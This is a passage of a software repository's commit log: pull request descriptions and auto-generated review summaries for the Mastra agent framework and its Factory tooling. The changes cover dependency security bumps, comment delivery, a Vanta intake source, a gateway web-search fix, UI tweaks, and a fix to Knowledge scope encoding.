5.0.210 | Removed the `@mastra/core` override that pinned 3.0.28. Bumped
`@ai-sdk/amazon-bedrock` 3.0.105 → 3.0.146 and `ai` to ^5.0.289.
Lockfile now has provider-utils 3.0.46. |
| Aikido Low AIKIDO-2026-526145 on `@ai-sdk/provider-utils` 5.0.1 | same
override | Override removed. `@mastra/core` 1.82.0 already depends on
5.0.72. |
| Aikido Medium/Low on `ai` 5.0.210 | direct dep | `ai` ^5.0.0 (locked
5.0.210) → ^5.0.289 |

Also bumped `@mastra/core` ^1.50.1 → ^1.82.0, plus the matching editor,
loggers, memory, mongodb, observability, rag and `mastra` CLI versions.
The existing amazon-bedrock patch (tool-use `input` optional) was
refreshed for 3.0.146.

No new overrides. The remaining template overrides (compression,
image-size, `@hono/node-server`, chat, glob, minimatch) are unchanged.

## Also in this PR

`@hono/node-server` 2.1.5 → 2.1.6 in
`templates/template-security-incident-triage` and
`templates/template-kyc-customer-onboarding` (direct dependency,
GHSA-jpvv-r467-5p4w). These templates have no checked-in lockfile. No
override changes.

## Verification

In `templates/template-mongodb-bedrock-agent`:

- `npm install`
- `patch-package` applies the refreshed 3.0.146 patch
- `tsc --noEmit` passes
- `vitest run`: 8 passed, 6 skipped

## Not fixed

- provider-utils 3.x Highs (AIKIDO-2026-10981 / 10990): there is no 3.x
patch. Aikido still reports 3.0.46 as vulnerable. A real fix needs
`@ai-sdk/amazon-bedrock` 4.x and `ai` 6.x (majors).
- `ai` 5.x Mediums AIKIDO-2026-11000 / 10269: fixed only in `ai` 6.0.170
/ 6.0.84.
- nanoid 3.3.20 and yargs 17.7.3 in this template: latest in their
lines; a fix would be a major.
- Other repo-wide items (zod 3.25.76, provider-utils 2.2.8 / ai 4.3.19,
undici 6.29.1 via `@qdrant/js-client-rest`, extract-zip, deepmerge,
picomatch 4.0.7, etc.) are unchanged and listed in the Vanta report.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: The MongoDB Bedrock template gets newer library versions. It also
drops old version pins that are no longer needed.

## Summary

This PR updates the dependencies of the
`templates/template-mongodb-bedrock-agent` template. It removes the
`@mastra/core` provider-utils overrides and refreshes the Amazon Bedrock
patch. The changeset also records an `@hono/node-server` bump in two
other templates.

## Changes

- `templates/template-mongodb-bedrock-agent/package.json` (+10/-15):
  - `@ai-sdk/amazon-bedrock`: `3.0.105` → `3.0.146`.
  - `ai`: `^5.0.0` → `^5.0.289`.
  - `@mastra/core`: `^1.50.1` → `^1.82.0`.
- Other Mastra packages move to newer ranges: `@mastra/editor`,
`@mastra/loggers`, `@mastra/memory`, `@mastra/mongodb`,
`@mastra/observability`, `@mastra/rag`.
  - devDependency `mastra`: `^1.15.0` → `^1.38.0`.
- Removes the `@mastra/core` `overrides` block. It pinned
`@ai-sdk/provider-utils-v5` to `3.0.28`, `-v6` to `4.0.33`, and `-v7` to
`5.0.1`.
- The `compression`, `image-size`, and `@modelcontextprotocol/sdk`
overrides are unchanged.
-
`templates/template-mongodb-bedrock-agent/patches/@ai-sdk+amazon-bedrock+3.0.146.patch`
(+8/-8): Refreshed for version 3.0.146. `BedrockToolUseSchema` in the
CommonJS and ESM builds now accepts tool-use objects without an `input`
field. When `input` is present, it remains an unknown value.
- `.changeset/vanta-2026-11-12-bedrock-template.md` (+6/-0): Adds a
changeset with empty frontmatter, so it declares no package bump. The
body describes the template dependency updates and the
`@hono/node-server` bump from `2.1.5` to `2.1.6` in the
security-incident-triage and kyc-customer-onboarding templates. It
states that no published package changes are included.
- `templates/template-kyc-customer-onboarding/package.json` and
`templates/template-security-incident-triage/package.json` (+1/-1 each):
`@hono/node-server` `2.1.5` → `2.1.6`.

## Public API

No exported or public declarations change.

## Verification

The PR description reports these results. They are not re-run here:
- `npm install` completed.
- `patch-package` applied the refreshed patch.
- `tsc --noEmit` passed.
- `vitest run` reported 8 passing and 6 skipped tests.

## Known gaps

The PR description says these findings remain open: provider-utils 3.x
high-severity findings (AIKIDO-2026-10981 / 10990), `ai` 5.x findings
(AIKIDO-2026-11000 / 10269), and the template's `nanoid` and `yargs`
findings. Other repository-wide findings are unchanged.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-11-12 16:16:58 -08:00
Tyler Barnes
be818ecb53
fix(github-signals): deliver each review finding instead of only the latest comment (#30246)
## Summary

GitHub Signals could miss review findings while polling a pull request:

- It only read the newest comment, so a later bot summary or walkthrough
edit could hide earlier findings.
- Inline review comments were reduced to a count of unresolved threads,
so the agent never saw the finding itself.
- Comments from allowed bots, such as CodeRabbit, were dropped when CI
status was missing or unknown.

Now each new comment from an allowed author is delivered on its own,
with its author, `file:line` for inline comments, and a short excerpt.
Bot summaries and other comment noise are still filtered out.

## How it works

- Polling reads issue comments, submitted reviews and inline
review-thread comments from the existing local Gitcrawl SQLite snapshot.
This adds no GitHub API calls; author permission checks still use the
existing five-minute cache.
- A separate comment cursor stores the newest timestamp and the IDs of
comments at that timestamp. Comments with equal timestamps or later
edits do not replay or hide each other, and the cursor is kept across
restarts and re-subscribes.
- Each poll delivers at most ten individual comments for a pull request,
plus one notice with the number of hidden comments and a link.
- Comment bodies are sanitized and checked for noise before excerpts are
cut. In GraphQL inline comments, bot logins have no `[bot]` suffix, so
it is added before authorization. Only authors with type `Bot` are
changed.
- The first poll of a working subscription keeps the existing summary
notification.

## Tests

- New SQLite-backed public-poll tests run in working and review modes.
They cover summary edits hiding findings, inline findings, unknown CI
status, bursts and overflow, restarts, equal timestamps, authorization,
noise filtering, long hidden blocks, the first poll and re-subscribing.
These tests failed before the fix.
- `pnpm --filter @mastra/github-signals test`: 160 passed
- TypeScript, lint and build pass.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: GitHub Signals watches pull requests and sends alerts. This change
makes it send each new comment from an allowed author as its own alert,
so reviewers do not miss findings.

## Summary

This pull request changes how `@mastra/github-signals` delivers new pull
request comments during polling. Before this change, polling read only
the newest comment, and inline review comments were reduced to a count.
Polling now delivers each new authorized comment separately. Each
notification includes the author, an inline `file:line` location when
one exists, and a short excerpt.

### Behavior changes

- **Comment sources:** Polling reads issue comments and inline
review-thread comments from the local Gitcrawl SQLite snapshot. The
snapshot query combines issue comments with review-thread replies. It
returns comments oldest-first from the cutoff, up to 25 per query.
Without a cutoff, it returns the newest 20.
- **Comment cursor:** Each `GithubPRSubscription` stores
`lastObservedCommentsAt` and `lastObservedCommentKeys`. The cursor holds
the newest comment timestamp and the keys of comments at that timestamp.
Comments that share the timestamp are matched by key, so a restart does
not replay them. Later edits are handled through the same cursor.
- **Sync input:** `GithubSignalsSyncInput` accepts `commentsSince` and
`commentsSeenAtSince`. The snapshot query treats `commentsSince` as an
inclusive cutoff.
- **Delivery limit:** Each poll delivers up to 10 comments per pull
request. Additional authorized comments produce one collapsed notice
with a count and a link.
- **Authorization retry:** If the authorization lookup fails, the
comment cursor does not advance. The comments are retried on the next
poll. The same retry applies when the GitHub App owner lookup fails. A
lookup that returns HTTP 404 or `Not Found` does not trigger a retry.
Such lookups resolve to `undefined`.
- **Bot handling:** The bot-only activity guard is removed. Bot-only
activity no longer suppresses delivery by itself. Bot comments that
match the noise filters remain excluded.
- **Bot logins:** GraphQL inline-comment logins for authors of type
`Bot` receive a `[bot]` suffix before authorization.
- **Body size:** The snapshot query truncates comment bodies to 200,000
characters. Excerpts are cut after sanitization and filtering.
- **Snapshot fields:** `GithubPullRequestCommentSnapshot` adds
`createdAt`, `path`, `line`, and `threadId`. Inline locations and thread
IDs are passed to notifications as `reviewThreadId`.
- **First poll:** The first poll of a working subscription keeps the
existing summary notification.
- **Subscription persistence:** The comment cursor is kept when a
subscription is re-created.

### Files changed

- `.changeset/empty-years-fold.md`: Adds a patch changeset for
`@mastra/github-signals`.
- `signals/github/src/index.ts`: Adds the comment cursor, comment
selection, delivery cap, collapsed notice, retry logic, and snapshot
query changes. Changes +278/-43 lines.
- `signals/github/src/github-comment-delivery.test.ts`: Adds
parameterized tests for `working` and `review` modes. Adds 400 lines.
- `signals/github/src/github-gitcrawl-snapshot.test.ts`: Changes one
mock match from the table name to the `unresolved_count` alias.
- `signals/github/src/github-app-owner.ts`: Adds an optional
`onLookupFailure` callback to `GithubAppOwnerResolver.getOwner`. Adds an
`isNotFoundError` helper.
- `signals/github/src/github-app-owner.test.ts`: Adds tests for a
connection-reset error and for a 404 error.
- `signals/github/src/github-bot-authorization.test.ts`: Checks the
first two arguments of `getOwner` instead of requiring an exact argument
count.

### Public declaration changes

- `GithubPRSubscription`: adds optional `lastObservedCommentsAt` and
`lastObservedCommentKeys`.
- `GithubSignalsSyncInput`: adds optional `commentsSince` and
`commentsSeenAtSince`.
- `GithubPullRequestCommentSnapshot`: adds optional `createdAt`, `path`,
`line`, and `threadId`.
- `GithubAppOwnerResolver.getOwner`: adds optional parameter
`onLookupFailure?: () => void`.

### Verification

Not available for this review. No completed test run appears in the
supplied evidence. The PR objectives state that `pnpm --filter
@mastra/github-signals test` passed with 160 tests, and that TypeScript,
lint, and build passed. These results come from the author. They were
not reproduced here. The author also reports that the new tests failed
before the fix.

### Diff size

7 files changed, 721 lines added, 47 lines removed.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: remy-builder[bot] <324360501+remy-builder[bot]@users.noreply.github.com>
2026-11-12 16:16:22 -08:00
Abhi Aiyer
ee4aa271ea
feat(factory): add Vanta vulnerabilities as an intake source (#30255)
> Stacked on #30253 (card descriptions). Review that first. This PR's
diff is only the Vanta work.

## Summary
Adds Vanta as an intake source through MastraConnect (Platform-managed
connections). After an org connects Vanta and enables it in intake
settings, Factory polls active vulnerabilities (`GET
/v1/vulnerabilities?isDeactivated=false`) every 15 minutes and files
**one card per vulnerability**, keyed on the Vanta id.

- Cards are labeled `security`, `vanta` and `severity:<level>`, and the
description has severity, package, fixability and remediate-by date
- Vanta shows up in **Settings → Intake → Sources** with its logo and
Connect/Manage controls, and is registered as a Platform Connect
provider
- Respects intake enablement and project bindings

## Test plan
- [x] `vitest run src/integrations/vanta` (new: active vulnerability →
described security card, disabled org → nothing, unbound project
skipped)
- [x] `tsc --noEmit` for `mastracode/factory` and
`mastracode/factory-ui`
- [x] Locally, 63 open Vanta vulnerabilities landed on the board through
a real MastraConnect connection

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 16:02:10 -08:00
Roamin
5266060ccd
fix(core): make webSearchTool work on Mastra gateway models (#30239)
An agent using `webSearchTool` on a Mastra gateway model failed every
turn. `webSearchTool` resolved to the provider's native tool
(`openai.web_search`, etc.), but the gateway's chat endpoint only runs
its own `openrouter:*` server tools. OpenAI models got a 400 (`unknown
tool type "openai:web_search"`), and Anthropic and Google models
silently lost the tool.

```ts
const agent = new Agent({
  id: 'research-agent',
  name: 'Research Agent',
  instructions: 'Use web search when you need current information.',
  model: 'mastra/openai/gpt-6.1-sol',
  tools: { search: webSearchTool },
})

// Before: 400 from the gateway on every turn
// After: the gateway runs the search and the agent answers
await agent.generate('What is the weather in London?')
```

Gateway chat models now get `openrouter.web_search` instead. Any other
provider-native tool on a gateway model (for example
`openai.code_interpreter`, or a native web search tool with provider
options) now fails before the request with an error naming the tool.
This is a behaviour change for Anthropic and Google gateway models,
where such tools used to be ignored without an error. The OAuth
Anthropic route is unchanged and keeps its native tool, and direct
`openrouter/...` models are not touched.

Tested with a new aimock scenario across all engines that asserts the
tool type on the wire, plus a manual run against the live gateway with
OpenAI, Anthropic and Google models. Search results come back as plain
text, so there are no tool-call or source chunks in the stream yet.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

## ELI5

Models that run through the Mastra gateway can now use the web search
tool. Other special provider tools on those models now stop the request
with a clear error, so they no longer fail in unclear ways or get
dropped silently.

## Summary

This change updates how `@mastra/core` prepares tools for models routed
through the Mastra gateway.

### Behavior changes

- `webSearchTool` maps to the gateway tool `openrouter.web_search` for
gateway OpenRouter models. The mapping applies only when the tool has no
arguments.
- Native web search tools with arguments throw a `MastraError`. The
error uses a web-search-specific message.
- Other provider-native tools on gateway models throw a `MastraError`
before the request is sent. One example is `openai.code_interpreter`.
The error names the tool ID and the router ID.
- The supported native web search IDs are `openai.web_search`,
`anthropic.web_search_20250305`, `google.google_search`, and
`xai.web_search`.
- The PR description reports that Anthropic and Google gateway models
previously dropped these tools without an error. It also reports that
OpenAI and xAI requests failed with a 400.
- `openrouter.*` tools and non-provider (function) tools pass through
unchanged.
- The OAuth Anthropic route keeps its native tool.
- Direct `openrouter/...` models are not affected.

### Code changes

- `packages/core/src/llm/model/mastra-gateway-provider-tools.ts` (new
logic):
- `isOpenRouterModel(model)` returns true when `model.provider` is
`openrouter` or starts with `openrouter.`.
- `prepareToolsForMastraGateway(options, routerId)` applies the mapping
and validation above. It returns the original options when no provider
tools are present.
- `packages/core/src/llm/model/router.ts`: `doGenerate` and `doStream`
call `prepareToolsForMastraGateway` when the gateway ID is `mastra` and
the model is an OpenRouter model. Other gateway and model combinations
keep the existing options.
-
`packages/core/src/loop/test-utils/aimock/scenarios/gateway-web-search.scenario.test.ts`
(new, 146 lines): tests the OpenAI, Anthropic, and Google routes. The
tests check that:
  - `webSearchTool` is sent as `openrouter:web_search`.
  - Function tools and explicit `openrouter.web_search` tools remain.
  - The OAuth Anthropic route keeps its native search tool.
- Unsupported native tools fail with an error and send no request body.
  - A direct `doGenerate` call converts the tool.
- `packages/core/src/loop/test-utils/aimock/README.md`: adds one entry
for the new scenario test.

### Documentation and release

- `docs/src/content/en/docs/agents/tools.mdx`: states that gateway
models use `openrouter.web_search`. It also states that passing another
provider-native tool fails the agent run with a `MastraError`.
- `.changeset/lazy-suns-dream.md`: adds a patch changeset for
`@mastra/core`.

### Scope

- 6 files changed, 234 lines added, 2 lines removed.

### Limitations

- The PR description reports that gateway search results arrive as plain
text. The stream does not include tool-call or source chunks.
- The PR description reports manual runs against the live gateway with
OpenAI, Anthropic, and Google models. CI and test results were not
available for this summary.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 19:01:39 -05:00
mastra-platform[bot]
9411a9dcd6
fix(factory-ui): remove "Move across the factory" hint from sign-in visual (#30256)
> Opened by @DSchau

## Summary
Removes the faint "Move across the factory" label (and its leading rule)
from the halftone panel on the Factory sign-in page. All it did was
point at a cosmetic hover effect (dots under the cursor take on the lane
color), so it looked like unexplained clutter. The hover spotlight still
works.

- `FactoryHalftoneField.tsx`: drop the hint element and update the doc
comment
- `sign-in-page.css`: drop the now-unused `.factory-visual-hint` rule

## Test plan
- `tsc --noEmit -p src/ui/tsconfig.json` in `mastracode/factory-ui`
passes
- The sign-in page panel still shows the stage labels and the hover
spotlight, with no hint in the bottom-right

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: The sign-in page had a small text hint, "Move across the factory,"
with a short line in front of it. The hint described a hover effect that
is still there. This change removes the hint and its line, so the page
shows less text.

## Summary

This pull request removes the "Move across the factory" hint from the
Factory sign-in visual panel. The hover spotlight and stage labels
remain.

## Changes

-
`mastracode/factory-ui/src/ui/domains/auth/components/FactoryHalftoneField.tsx`
- Updates the doc comment for the `panel` variant. It no longer mentions
the hint.
- Removes the `<Txt>` element that rendered "Move across the factory".
This element used the `factory-visual-hint` class and was positioned at
the bottom-right of the panel.
  - The `<canvas>` element and the stage labels are unchanged.
-
`mastracode/factory-ui/src/ui/domains/auth/components/sign-in-page.css`
- Removes the `.factory-visual-hint::before` rule. This rule drew a
1.375rem horizontal line before the hint.

## Scope

- 2 files changed.
- 1 line added and 16 lines removed.
- No exported or public declarations changed.
- Tests and type-check results: not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 00:01:11 +00:00
Ward Peeters
9f16f63a66
fix(factory): run card phases as the Factory, and let the people following a card approve what it waits on (#30146)
Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-13 00:59:52 +01:00
Abhi Aiyer
724286f3dd
feat(factory): let intake rules set descriptions on the cards they create (#30253)
## Summary
Cards created by rules always started with an empty description, so
integrations had nowhere to put upstream details such as an advisory's
summary. `upsertLinkedWorkItem` decisions can now carry an optional
`description` (up to 8,000 characters). It only seeds a newly created
card and never overwrites an existing card's description.

The Dependabot and Vanta intake PRs build on this.

## Test plan
- [x] `vitest run src/rules/validation.test.ts` (new test: description
kept, over-length rejected)
- [x] `tsc --noEmit` in `mastracode/factory`

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: When the factory creates a new work card from an intake rule, the
card can now start with a description. Cards that already exist keep
their current description.

## Summary

This change lets `upsertLinkedWorkItem` decisions carry an optional
`description`. The description seeds only newly created cards. Existing
cards keep their descriptions.

## Changes

- **Type** (`mastracode/factory/src/rules/types.ts`): Adds optional
`description?: string` to `FactoryUpsertLinkedWorkItemDecision`. The doc
comment states that the value seeds only a card being created.
- **Validation** (`mastracode/factory/src/rules/validation.ts`): Adds
`MAX_DESCRIPTION_LENGTH = 8000`. Adds `'description'` to the allowed
decision keys. When `description` is present, it passes through
`boundedString` with the 8,000-character limit. Values over the limit
are rejected.
- **Dispatcher** (`mastracode/factory/src/rules/dispatcher.ts`): Adds
`description` to the work-item upsert input only when the decision value
is truthy. Otherwise the field is omitted.
- **Tests** (`mastracode/factory/src/rules/validation.test.ts`): Adds 18
lines of tests. Per the raw summary, they cover retaining a description
and rejecting values over 8,000 characters with
`FactoryRuleValidationError`. The test body was not in the inspected
output.
- **Changeset** (`.changeset/jolly-geckos-change.md`): Adds a minor
release entry for `@mastra/factory`.

## Scope

- Diff: 5 files, 37 lines added, 0 lines removed.
- No exported declarations other than the new interface property.

## Not verified

- The raw summary says the description is trimmed and must be nonempty.
The inspected diff does not show `boundedString`, so this summary does
not confirm trimming or the nonempty rule.
- Test results (`vitest`) and type checks (`tsc --noEmit`) were not run
in this review. Results are not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 15:55:48 -08:00
Abhi Aiyer
f9907987ad
fix(factory): keep labels on GitHub pull request intake cards (#30250)
## Summary
Factory stored every GitHub pull request with an empty label list,
because the GitHub intake mapped labels for issues but not pull
requests. Intake routes that match on labels (for example sending
`security`-labeled items to a Security board) therefore never matched
pull requests. Pull request intake items now carry their labels.

## Test plan
- [x] `tsc --noEmit` in `mastracode/factory`
- [x] `vitest run src/integrations/platform/github`
- [x] Locally, `security`-labeled PRs in `mastra-ai/platform` landed on
the Security board once labels were stored

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: Pull requests from GitHub now keep their labels. Rules that send
items to a board by label, such as the `security` label, can now match
pull requests too.

## Summary

This change fixes GitHub pull request intake items in Factory.
`listItems` mapped labels for issues but did not map them for pull
requests. Pull request items therefore had no labels, and label-based
intake routes could not match them.

## Changes

- `mastracode/factory/src/integrations/platform/github/integration.ts`:
In `listItems`, the pull request intake item now includes `labels:
pullRequest.labels`. This line is added at the pull request item
mapping, between `status` and `createdAt`. No lines are removed.
- `.changeset/vast-masks-stand.md`: Adds a patch changeset for
`@mastra/factory`. The changeset says pull request cards no longer lose
their labels, so label routes such as `security` now apply to pull
requests.

## Scope

- 2 files changed, 6 lines added, 0 lines removed (per the pull request
diff).
- No exported or public declarations changed.

## Verification

- The PR author reports that `tsc --noEmit` passed in
`mastracode/factory`.
- The PR author reports that `vitest run
src/integrations/platform/github` ran.
- The PR author reports a local check where `security`-labeled PRs in
`mastra-ai/platform` landed on the Security board. These results come
from the author and were not re-run in this review.
- CI results are not available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 15:54:32 -08:00
mastra-platform[bot]
ab1968631a
fix(create-factory): default project region to US instead of prompting (#30249)
> Opened by @DSchau

## Summary
`create-factory` used to stop during platform setup and ask "Where
should your Factory project run?" (us/eu). Most people can't answer that
during first-time setup, and it blocks agents that run the installer for
you.

This removes the prompt. Projects are created in `us` by default, along
with the matching Neon database region (`aws-us-west-2`). EU users can
still opt in with the existing `--region eu` flag. That flag is now
described in `--help` ("defaults to us") and in the README.

## Changes
- `src/create.ts`: dropped the region `select` prompt. The region is now
`region ?? 'us'`.
- `src/index.ts`: updated the `--region` help text.
- `README.md`: documented `--region eu`.
- Tests: the default flow now creates the project in `us` without
prompting, and `--region eu` reaches project creation, the production
environment and the Neon region.
- Changeset (patch).

## Test plan
- `npx vitest run`: 58/58 pass
- `npx tsc --noEmit`, `oxlint --type-aware`: clean

Companion docs PR in `mastra-ai/softwarefactory-docs` updates the
`create-factory` reference page.

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

ELI5: Before this change, the Factory setup tool asked users which
region to use for their project. Now it uses the US region by default.
People who need the EU region can still pass `--region eu`.

## Summary

This pull request removes the region prompt from `create-factory` during
platform provisioning. The tool now selects a region without asking the
user.

### Behavior changes

- `runPlatformProvisioning` in `mastracode/mastra-factory/src/create.ts`
no longer shows a `p.select` region picker. It sets `projectRegion =
region ?? 'us'`. The supplied `--region` value wins when present.
- The selected region drives project creation, production-environment
setup, and the Neon region lookup. The US default maps to
`aws-us-west-2`. The EU value maps to `aws-eu-central-1`.
- The `PROJECT_REGION_OPTIONS` constant and its prompt-cancel handling
are removed.
- The `--region` help text in `mastracode/mastra-factory/src/index.ts`
changes from "prompts when omitted" to "defaults to `us`".

### Documentation

- `mastracode/mastra-factory/README.md` documents that platform projects
default to the US region. It also shows how to pass `--region eu`.
- `.changeset/quiet-regions-default.md` adds a `patch` changeset for
`create-factory`. It describes the new default and the `--region eu`
option.

### Tests

- `mastracode/mastra-factory/src/create.test.ts` no longer simulates
region selection.
- Default provisioning expectations use `us` and `aws-us-west-2`.
- The explicit-region test uses `eu` and `aws-eu-central-1`.
- The tests assert that the default path does not prompt.

### Diff size

- 5 files changed, 27 lines added, 33 lines removed.

### Verification status

- The diff confirms the source changes listed above.
- The author reports `npx vitest run` (58/58), `npx tsc --noEmit`, and
`oxlint --type-aware` as passing. These checks were not run as part of
this review, so their results are not confirmed here.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->

---------

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 23:52:51 +00:00
Abhi Aiyer
461b3886c1
feat(factory): keep intake integrations off until enabled (#30251)
## Summary
Connecting an intake integration used to start pulling its items onto
boards right away, because an org with no saved intake config was
treated as having every integration enabled. Unset config now resolves
to disabled, both on the server and in the board intake UI, so nothing
is ingested until the org turns the integration on in intake settings.

## Test plan
- [x] `tsc --noEmit` for `mastracode/factory` and
`mastracode/factory-ui`
- [x] `vitest run` intake routes, intake storage, Jira/Linear intake
routes (updated the default-config expectations: `/web/intake/config`
now reports disabled, and Jira issues return `jira_intake_disabled` with
no saved config)

<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

<!-- coderabbit-ai-generated:v1 -->

ELI5: Connected intake integrations used to start adding items to boards
right away. Now they stay off until an organization turns them on in
intake settings.

## Summary

This PR changes the default intake state for integrations with no saved
configuration from enabled to disabled. The change applies on the server
and in the board intake UI. Connected integrations no longer ingest
items onto boards until an organization enables them.

## Changes

- **Changeset** (`.changeset/plenty-nails-slide.md`): Adds a minor
release note for `@mastra/factory`. It states that intake integrations
stay off until enabled in intake settings.
- **Storage defaults**
(`mastracode/factory/src/storage/domains/intake/base.ts`):
- `IntakeStorage.getConfig` returns `{ enabled: false, sourceIds: null
}` for requested integration ids that have no saved entry. The doc
comment is updated to match.
- The selection update path in `migrateSourceIds` uses `{ enabled: false
}` as the base when an integration entry is absent. It still sets
`sourceIds` from the selection.
- **UI default**
(`mastracode/factory-ui/src/ui/domains/factory/hooks/useBoardIntake.ts`):
`githubEnabled` falls back to `false` when `config?.github.enabled` is
undefined. The previous fallback was `true`.
- **Tests**:
- `routes/intake.test.ts`: The default configuration test now expects
`github` and `linear` with `enabled: false` and `sourceIds: null`.
- `integrations/platform/jira/routes.test.ts`: For an organization with
no saved intake config, the issues route test now expects HTTP 404 with
`error: 'jira_intake_disabled'`. It replaces the prior expectation of
HTTP 200 with an empty page. The test still asserts that
`listActiveJiraIssues` is not called.

## Not verified

- Test and type-check results were not run in this review. The PR lists
`tsc --noEmit` and `vitest run` as its test plan, but no completed check
results were available.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->

Co-authored-by: mastracode <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 15:50:17 -08:00
mastra-platform[bot]
338ec03925
fix(factory-ui): align finished onboarding step's checkmark with step numbers (#30248)
> Opened by @roaminro

## Summary
On the Factory "Set up your factory" page, the checkmark on a finished
step (e.g. Codebase) sat 12px to the right of the numbers on the open
and upcoming steps.

The cause was `before:transition-none` on the finished row's button. In
Tailwind v4, any `before:` utility gives the element a `::before` box
(`content: var(--tw-content)`, which resolves to `""`). The button is a
`flex gap-3` row, so that empty box became its first item and added one
12px gap before the checkmark. `state-layer` now paints the hover
background on the button itself rather than a `::before`, so the class
did nothing useful. This PR removes it.

I checked the other `before:` classes in factory-ui. They're either
skeleton shimmers that need the pseudo-element, or absolutely positioned
drop indicators, so none of them affect layout.

## Test plan
- [x] Verified in the browser on the latest release: the button's
computed padding is 16px, but the checkmark sits 28px from the card
edge, while the open and upcoming steps' numbers sit at 16px.
`getComputedStyle(button, '::before').content` returns `""`, which means
the `::before` box exists.
- [x] Removing the class in the browser moves the checkmark into line
with the step numbers (confirmed by @roaminro).

Co-authored-by: mastra-platform[bot] <mastra-platform[bot]@users.noreply.github.com>
Co-authored-by: mastra-platform[bot] <284800079+mastra-platform[bot]@users.noreply.github.com>
2026-11-12 18:44:49 -05:00
Tyler Barnes
175b4b5194
fix(core): Knowledge scope values are one encoded segment (#30019)
Knowledge scope patterns let the last `$` value take the rest of an
address, so `org:acme:viewer` counted as an `org:$orgId` scope. Its
holder then got that pattern's rights on what was meant to be a separate
scope. Raw ids and escaped ids also had more than one spelling.

This makes each `$` value exactly one segment and gives every scope one
canonical spelling.

## What changes

- A scope value can't contain a raw `:`. Ids with `:`, `/`, `#` or `%`
are passed encoded, via the new `encodeKnowledgeScopeId`
(`decodeKnowledgeScopeId` reverses it). Raw forms are refused with a
message naming the helper.
- Agent `scopes` are canonical addresses: `%` is always an escape.
- Memory resource and thread ids are bound encoded (`slack:U123` becomes
`resource:slack%3AU123`). Knowledge takes identity only from the run's
resolved Memory ids, never from `resource:`/`thread:` strings in the run
scopes.
- Patterns of one type with different segment counts no longer overlap,
so `org:$orgId` and `org:$orgId:viewer` can be declared together.
- A stored scope row whose address now matches a different declaration
than the one it was created under gets none of the new declaration's
access: not by exact address, prefix, `belongsTo` lookup or parent-bound
role. Holders of the old declaration's prefix grant still read it, as
before, without a role.

## Existing data

Nothing is rewritten. Ids with a raw colon in the last segment get new
addresses, so a run reaches a new, empty scope, and rows at the old
address stay unreached. Ids with `/`, `#` or `%` were already encoded
and keep their addresses when passed through `encodeKnowledgeScopeId`.
Knowledge is in alpha; this is a breaking change for colon ids.

## Testing

- New tests cover encoded and raw ids, segment counts, stale rows
(exact, prefix, `belongsTo` parent, parent-bound roles) and Memory
identity through `resolveAgentScopes`. Each fails on the commit before
its fix.
- Core Knowledge, storage and agent-scope suites: 412 passed. Server
Knowledge handlers: 48 passed. Typecheck, lint and format are clean.
- A store written by the previous release, read by this one: `/`, `#`,
`%` and literal-escape ids remain readable through
`encodeKnowledgeScopeId`; colon ids move.


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
<!-- coderabbit-ai-generated:v1 -->

**ELI5:** Knowledge uses labels called scopes to decide who can read
which pages. This change makes each label part match exactly one piece
of the address, and it requires special characters in IDs to be encoded.
This makes access rules predictable, but old alpha data with colons in
IDs may no longer be reached.

## Overview

This change makes each scope parameter match exactly one address
segment. Scope IDs that contain reserved characters must use canonical
encoding. The change is breaking for alpha Knowledge users who have
colon IDs in the last segment.

## Core changes

- **Scope matching** (`declarations.ts`): Patterns match an exact
segment count. A final parameter no longer absorbs raw colons. Raw Agent
scopes are no longer matched. `knowledgeRunScopes` accepts only
canonical addresses that match a declaration, returns them unchanged,
and rejects reserved characters that are not encoded.
- **Overlap rules** (`declarations.ts`): Patterns overlap only when they
share a type, have no conflicting literals, and have equal segment
counts.
- **Encoding** (`scope-address.ts`):
- `encodeKnowledgeScopeValue` and `decodeKnowledgeScopeValue` always
escape `%`, `/`, `#`, and `:`. The `final` argument is removed.
- New experimental helpers `encodeKnowledgeScopeId` and
`decodeKnowledgeScopeId` encode and decode one ID segment. They are
exported from `index.ts`.
- **Memory identity** (`run.ts`): Resource and thread scopes are built
by binding Memory IDs through `knowledgeScopeAddress`. The generated
addresses must match compiled declarations. A mismatch raises
`KnowledgeDeclarationError`. The result is the deduplicated union of raw
and Memory-derived scopes.
- **Stale rows** (`scope-runtime.ts`): A stored scope is current only
when it has no declaration key or its address matches that declaration.
Stale rows are excluded from `belongsTo` parent resolution, final
readable addresses, and `roleOn`. `explainAccess` returns no grants for
a stale target. Materialization rejects a stored scope whose declaration
